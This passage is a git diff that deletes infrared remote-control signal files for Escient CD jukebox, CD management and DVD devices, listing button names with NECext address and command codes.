-protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: PREV_PAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 62 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 63 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 64 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 65 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 66 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 68 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 69 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 78 00 00 00 -# -name: ABC'S -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 79 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir deleted file mode 100644 index e5c87d25b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: CH/PAGE_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: CH/PAGE_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 11 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 14 00 00 00 -# -name: OPTION -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 16 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 22 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 24 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 24 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 24 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 27 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 28 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2B 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2C 00 00 00 -# -name: PLAY_FAVORITES -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir deleted file mode 100644 index dc12aa052..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: CH/PAGE_DN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: PAGE_DN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: OPEN_GLOBE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: <<_/BACKSPACE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 24 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 24 00 00 00 -# -name: I_RADIO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: FAVS_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: AE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: BF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir deleted file mode 100644 index 36b4e1bdf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 8A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir deleted file mode 100644 index 424cef5db..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 01 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir deleted file mode 100644 index a017b6df2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir +++ /dev/null @@ -1,314 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: NEXT_PAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: BOTTOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: ADVANCED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: PAUSE_(F3) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: PREVIOUS_TRACK_(F5) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: SONG_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: NEXT_DISC_(F6) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: DONE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: TOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: STOP_(F2) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: PLAY_(F1) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: NEXT_TRACK_(F4) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: SONG_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: PREVIOUS_DISC_(F7) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: SINGLE_CD_MENU_(F9) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: PREV_PAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 62 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 63 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 64 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 65 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 66 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 68 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 69 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 78 00 00 00 -# -name: 5_CD_MENU_(F11) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 78 00 00 00 -# -name: ABC'S -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 79 00 00 00 -# -name: RANDOM_CD_MENU_(F10) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 79 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir deleted file mode 100644 index f296cd124..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir +++ /dev/null @@ -1,398 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 09 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: CH/PAGE_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: CH/PAGE_UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: PG_UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0D 00 00 00 -# -name: PG_DOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0E 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0E 00 00 00 -# -name: CH/PAGE_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0E 00 00 00 -# -name: CH/PG_DN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 11 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 14 00 00 00 -# -name: OPEN_GLOBE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 14 00 00 00 -# -name: OPTION -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 14 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 14 00 00 00 -# -name: OG -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 16 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: MENU/VIEW -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: SEARCH_<<_BACKSPACE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 21 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 22 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 22 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 22 00 00 00 -# -name: SEARCH_>>_SPACE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 22 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 24 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 25 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 27 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 28 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2B 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2C 00 00 00 -# -name: ADD_FAV -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2E 00 00 00 -# -name: PLAY_FAVORITES -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2E 00 00 00 -# -name: PLAY_FAVS -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2E 00 00 00 -# -name: RANDOM_FAV -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2F 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir deleted file mode 100644 index 424cef5db..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 01 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir deleted file mode 100644 index 86729817a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RR -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir deleted file mode 100644 index 37b574814..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: TRACK< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: TRACK> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: PREV_DISC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: FULL_SCREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: COVERS_SCREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: PLAY_SCREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 -# -name: DOWN' -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 62 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 63 00 00 00 -# -name: MOUSE_CLICK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 81 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 82 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 83 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 85 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 86 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 87 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 88 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 89 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: D4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: DF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: E1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: E2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir deleted file mode 100644 index 76e99ed78..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 08 00 00 00 -# -name: CH/PAGE_+ -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0F 00 00 00 -# -name: GUIDE_TOGGLE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 14 00 00 00 -# -name: OPENGLOBE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 17 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 19 00 00 00 -# -name: VIEW_TOGGLE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1C 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: RR -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 25 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 26 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2A 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2B 00 00 00 -# -name: ADD_TO_FAVORITES -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2D 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 30 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 41 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 42 00 00 00 -# -name: PLAYMODE-NORMAL -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 43 00 00 00 -# -name: PLAYMODE-RPT_TRACK -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 44 00 00 00 -# -name: PLAYMODE-RPT_TITLE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 45 00 00 00 -# -name: PLAYMODE-RPT_GROUP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 46 00 00 00 -# -name: PLAYMODE-RAND_TITLE -type: parsed -protocol: 